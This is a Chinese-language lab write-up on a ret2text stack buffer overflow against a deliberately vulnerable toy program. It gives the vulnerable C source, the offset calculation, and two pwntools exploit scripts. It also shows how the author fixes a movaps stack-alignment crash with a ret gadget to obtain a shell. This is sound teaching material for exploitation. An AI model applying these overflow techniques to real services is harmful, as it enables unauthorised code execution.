理论基础:
栈空间分布
见RE.RE 从零开始的逆向之路(Windows版)
最后一节,Linux libc下存在一点差异,但不影响
环境及工具版本
Ubuntu 20.04
glibc 2.31
Gdb: 9.2
Python: 3.8.10 (default, Jul 29 2024, 17:02:10) [GCC 9.4.0]
Pwndbg: 2024.02.14
Capstone: 5.0.1280
Unicorn: 2.0.1
题面
编译选项如下:
源码如下:
#include <stdio.h>
char sh[]="/bin/sh";
int func(char *cmd){
system(sh);
return 0;
}
int dofunc(){
char b[8] = {};
puts("input:");
read(0,b,0x100);
//printf(b);
return 0;
}
int main(){
dofunc();
return 0;
}
解题步骤:
一句话总结:payload = padding + *func
1.找到溢出点
查看代码,通过在dofunc函数中,read函数给b赋值明显可以产生溢出
2.构造payload
1)首先确认 b 在栈空间的位置,计算其与RIP的差。通过逆向分析可以看到b在$RBP-8,距RIP的位置(RBP+8)有16个字节,所以需要padding 16个字符
2) 确认*func 。ret2text中,func函数中存在系统调用shell的代码。查看func函数指令的地址
3.完成exp
关于使用pwntools写exp可以参考pwntools简明手册,简单场景可以直接套用下面的模板
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
pwnfile= './ret2text' # 目标程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('127.0.0.1',8899 ) # 打远程则开启这个并注释掉前两个
padding = 16 # payload中前面要填充的字符长度
payloadtext = 0x00401176
payload = padding * b'a' + p64(payloadtext)
# pwndbg附加调试
gdb.attach(io)
pause()
io.sendline(payload)
io.interactive() # 打通后获得一个交互式shell
实验结果:
通过脚本对b做溢出,将func的偏移地址溢出到rip_main的位置,
但没能功获取到shell
pwndbg卡在do_system+364的位置,报错如下:
Program received signal SIGSEGV, Segmentation fault.
0x00007f7cbae85e3c in do_system (line=0x404040 <sh> "/bin/sh") at ../sysdeps/posix/system.c:148
148 ../sysdeps/posix/system.c: 没有那个文件或目录.
问题定位
1.搜索了下SIGSEGV信号
SIGSEGV是一种信号,它表示“段错误(Segmentation Fault)”。当程序访问了未分配给它的内存区域,或者访问了已经释放的内存区域,或者访问了只读的内存区域,就会触发这个信号。这通常是由于程序中的编程错误导致的,例如指针错误、数组越界等。当程序收到SIGSEGV信号时,它会立即终止并退出。
do_system+364 这段代码是movaps xmmword ptr [rsp + 0x50], xmm0,rsp+0x50应该是正常操作,也可以查看下rbp、rsp的相对位置,有0x210的纵深,应该不是访问栈外空间导致的
2.没见过movaps xmmword ptr [rsp + 0x50], xmm0 这里的指令、数据类型、和寄存器,查一下这条指令,发现这个,结合上面我们看到rsp的地址并不是16字节的整数倍(最后一位不是0),问题应该就在这了。
movaps指令是一种SSE指令,用于将128位的数据从内存复制到XMM寄存器中。它的特殊之处在于,
它要求内存地址和XMM寄存器的地址都必须是16字节对齐的,否则会导致运行时错误
。此外,movaps指令是一种原子操作,不会被中断或者其他指令打断,保证了数据的完整性和一致性。因此,在使用movaps指令时,需要特别注意内存地址和XMM寄存器地址的对齐问题,以及保证指令的原子性。
MOVUPS指令
参考 解决办法 ,在*func前加一个ret或pop指令,即可,我们通过如下命令,在ret2text中找一个ret指令
iotsec@iotsec-VirtualBox:/mnt/reverse/chapter_2/ret2text$ ROPgadget --binary ./ret2text --only 'ret'
Gadgets information
============================================================
0x000000000040101a : ret
Unique gadgets found: 1
在exp中讲这个地址加到*func前,新的exp如下
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
pwnfile= './ret2text' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('127.0.0.1',8899 ) # 打远程则开启这个并注释掉前两个
padding = 16 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
payloadtext = 0x00401176
payload = padding * b'a' + p64(0x0040101a) + p64(payloadtext)
# pwndbg附加调试
gdb.attach(io)
pause()
io.sendline(payload)
io.interactive() # 打通后获得一个交互式shell
最终结果
1.下断点到do_system+364,此时rsp是16的整数倍
2.正常获取到shell